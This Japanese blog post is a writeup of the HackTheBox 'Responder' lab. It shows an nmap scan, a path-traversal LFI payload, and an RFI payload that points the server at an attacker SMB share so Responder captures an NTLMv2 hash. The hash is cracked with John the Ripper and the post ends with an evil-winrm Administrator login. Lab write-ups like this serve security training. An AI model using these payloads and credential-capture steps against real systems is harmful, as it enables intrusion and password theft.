0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

HackTheBox Responder Writeup

Last updated at Posted at 2023-04-29

はじめに

本記事は「HackTheBox:Responder」のwriteupです。

問題

LFI、RFI、WinRMに関する問題です。

回答

ポートスキャンします。
結果http(tcp/80)WinRM(tcp/5985)が公開されていることがわかりました。
また、PHP/8.1.1が使われているようです。

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p- --min-rate 5000  10.129.167.202
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 02:31 JST
Nmap scan report for unika.htb (10.129.167.202)
Host is up (0.21s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.33 seconds

ブラウザでアクセスしたところ、unika.htbにリダイレクトし、エラーメッセージが表示されました。

アクセス元でunika.htbを名前解決しようと試みましたが失敗したようです。
アクセス元の/etc/hostsunika.htbとIPアドレスの関連付けを追記します。

再度アクセスするとサイトが表示されました。

このサイトにはローカルファイルインクルードとリモートファイルインクルードの脆弱性があります。

前者はpageパラメタの値に../../../../../../../../windows/system32/drivers/etc/hostsなど指定すると以下のようにサーバ内のファイル情報が閲覧できてしまします。

後者は//10.10.14.6/somefileのように指定することで外部にあるファイルを実行させてしまうことができます。

本問ではResponderというハイジャック攻撃ツールを使用します。詳細は以下。

まず、Responderを起動させておきます。

次に、ブラウザでpageパラメタに//10.10.14.172/somefileを指定します。
IPはResponder起動時に表示されるResponder IPのIPアドレスです。

アクセスしたら、パスワードハッシュが表示されます。

John The Ripperでパスワードハッシュをクラックします。
パスワードハッシュは/usr/share/responder/logsのファイルに出力されています。

┌──(kali㉿kali)-[/usr/share/responder/logs]
└─$ john /usr/share/responder/logs/SMB-NTLMv2-SSP-10.129.167.202.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
badminton        (Administrator)
1g 0:00:00:00 DONE (2023-04-30 02:23) 25.00g/s 102400p/s 102400c/s 102400C/s adriano..oooooo
Warning: passwords printed above might not be all those cracked
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

ローカルのkaliからやってみましたが、接続できませんでした。
pwnboxからやるとログインに成功しました。後は探索してフラグを見つけました。
https://tryhackme.com/forum/thread/6171e3b46b0cfe00412b0a1d

┌──[htb-kenryo@htb-b2t7mxnlfn]─[~]
└──╼ $evil-winrm -i 10.129.95.234 -u Administrator -p badminton

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>

参考

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?